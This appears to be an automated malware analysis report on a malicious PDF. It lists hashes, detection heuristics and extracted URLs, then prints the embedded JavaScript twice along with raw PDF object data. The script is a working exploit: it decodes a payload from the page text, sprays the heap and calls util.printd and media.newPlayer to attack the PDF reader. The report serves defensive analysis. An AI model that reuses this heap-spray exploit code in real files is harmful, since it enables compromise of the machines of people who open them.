Malicious PDF — malware analysis report

Static analysis result for SHA-256 d824492b38f2d09c…

MALICIOUS

PDF

1.24 MB Created: 2010-07-29 10:06:09 Authoring application: Scribus 1.3.3.14 (via Scribus PDF Library 1.3.3.14) First seen: 2026-05-11
MD5: 946c36f40366b9ee609b79357c905988 SHA-1: de5a0c33c39fa92199f3d06a17c8e1b422b63914 SHA-256: d824492b38f2d09cde9aaf32d62997fa7e8e2420bdf74c82fbfca9572ff760ac
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The script, named 'javascript_obj0055_001.js', is obfuscated and likely serves to download and execute a secondary payload. The presence of String.fromCharCode further suggests obfuscation techniques common in malware delivery. The benign URLs extracted do not detract from the suspicious nature of the embedded script.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9876

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    ssqqrr = (ssqqrr);
var MaxString = String.fromCharCode(0x3727,0x27f5);
for(i=0;i<15;){MaxString+=MaxString;i ++;}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comMonotype In PDF document text
    • http://ocsp.verisign.com/ocsp/status0In PDF document text
    • https://www.verisign.com/rpa0In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlhttp://www.monotype.com/html/type/license.htmlIn PDF document text
    • https://www.verisign.com/rpaIn PDF document text
    • http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
    • http://www.microsoft.com/typographyIn PDF document text
    • http://www.iec.chIn PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0055_001.js pdf-javascript-stream PDF /JS object 55 at offset 0x13DBAE 1762 bytes
SHA-256: b0d559dd0e717031641a5ba0a5133fce4e2e5b60a29138805c8496aa1e643adb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function New_Script()
{
var ckWord, numWords;
var text = '';

for (var i = 0; i < this.numPages; i++ ) 
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++) 
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}

text = text + ' ';


var k = 1;
var b=0;
var ssqqrr = '';
var ssqqrr_1 = '';
var ssqqrr_2 = '';
var u_ssqqrr = '';
var pos = 0;
while (pos < (text.length-1)) {
 pos += k;
 if(!b)
 {
	b = 1;
	if (pos < text.length)
	{ ssqqrr_1 = ssqqrr_1 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ ssqqrr_1 = ssqqrr_1 + text[pos]; pos+=1; }
 }
 else
 {
	b = 0;
	if (pos < text.length)
	{ ssqqrr_2 = ssqqrr_2 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ ssqqrr_2 = ssqqrr_2 + text[pos]; pos+=1; }
	
	u_ssqqrr = '%u'+ssqqrr_2+ssqqrr_1;
	ssqqrr_1 = '';
	ssqqrr_2 = '';
	ssqqrr += u_ssqqrr;
 }
 k++;
 if (k>3) k = 1;
}
ssqqrr = (ssqqrr);
var MaxString = String.fromCharCode(0x3727,0x27f5);
for(i=0;i<15;){MaxString+=MaxString;i ++;}
MaxString=MaxString.substring(0,32768 - ssqqrr.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= MaxString + ssqqrr; i ++;
}

util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());


}
javascript_obj0055_002.js pdf-javascript-stream PDF /JS object 55 at offset 0x13DBD1 3255 bytes
SHA-256: f3a019725bf9895dc878bd9712890c64c1b9429ae8f0cba715a0dda27f0c209d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function New_Script()
{
var ckWord, numWords;
var text = '';

for (var i = 0; i < this.numPages; i++ ) 
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++) 
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}

text = text + ' ';


var k = 1;
var b=0;
var ssqqrr = '';
var ssqqrr_1 = '';
var ssqqrr_2 = '';
var u_ssqqrr = '';
var pos = 0;
while (pos < (text.length-1)) {
 pos += k;
 if(!b)
 {
	b = 1;
	if (pos < text.length)
	{ ssqqrr_1 = ssqqrr_1 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ ssqqrr_1 = ssqqrr_1 + text[pos]; pos+=1; }
 }
 else
 {
	b = 0;
	if (pos < text.length)
	{ ssqqrr_2 = ssqqrr_2 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ ssqqrr_2 = ssqqrr_2 + text[pos]; pos+=1; }
	
	u_ssqqrr = '%u'+ssqqrr_2+ssqqrr_1;
	ssqqrr_1 = '';
	ssqqrr_2 = '';
	ssqqrr += u_ssqqrr;
 }
 k++;
 if (k>3) k = 1;
}
ssqqrr = (ssqqrr);
var MaxString = String.fromCharCode(0x3727,0x27f5);
for(i=0;i<15;){MaxString+=MaxString;i ++;}
MaxString=MaxString.substring(0,32768 - ssqqrr.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= MaxString + ssqqrr; i ++;
}

util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());


}
endstream
endobj
56 0 obj
<< /S /JavaScript /JS 55 0 R >>
endobj
57 0 obj
<< /Names [ (New_Script) 56 0 R ] >>
endobj
7 0 obj
<< /JavaScript 57 0 R >>
endobj
8 0 obj
[]
endobj
xref
0 58
0000000000 65535 f 
0000000015 00000 n 
0000000266 00000 n 
0001301237 00000 n 
0001301283 00000 n 
0001301367 00000 n 
0001301388 00000 n 
0001303338 00000 n 
0001303378 00000 n 
0000000467 00000 n 
0000001848 00000 n 
0000411199 00000 n 
0000411422 00000 n 
0000412403 00000 n 
0000414242 00000 n 
0000417312 00000 n 
0000417507 00000 n 
0000418497 00000 n 
0000420636 00000 n 
0000423742 00000 n 
0000423937 00000 n 
0000424927 00000 n 
0000427257 00000 n 
0000430375 00000 n 
0000430570 00000 n 
0000431409 00000 n 
0000433138 00000 n 
0000435390 00000 n 
0000435585 00000 n 
0000436377 00000 n 
0000437824 00000 n 
0000439728 00000 n 
0000439923 00000 n 
0000440749 00000 n 
0000443111 00000 n 
0000445771 00000 n 
0000445966 00000 n 
0000446744 00000 n 
0000448072 00000 n 
0000449904 00000 n 
0000450099 00000 n 
0000450456 00000 n 
0000451125 00000 n 
0000452259 00000 n 
0000452454 00000 n 
0000453370 00000 n 
0000454829 00000 n 
0000961731 00000 n 
0000962195 00000 n 
0000962249 00000 n 
0000962409 00000 n 
0000962560 00000 n 
0001300754 00000 n 
0001300808 00000 n 
0001300987 00000 n 
0001301422 00000 n 
0001303237 00000 n 
0001303285 00000 n 
trailer
<<
/Size 58
/Root 1 0 R
/Info 2 0 R
/ID [<E2A62897BD6A90C2469398673D525852><E2A62897BD6A90C2469398673D525852>]
>>
startxref
1303396
%%EOF

Open this report in the interactive analyzer, or submit your own file for analysis.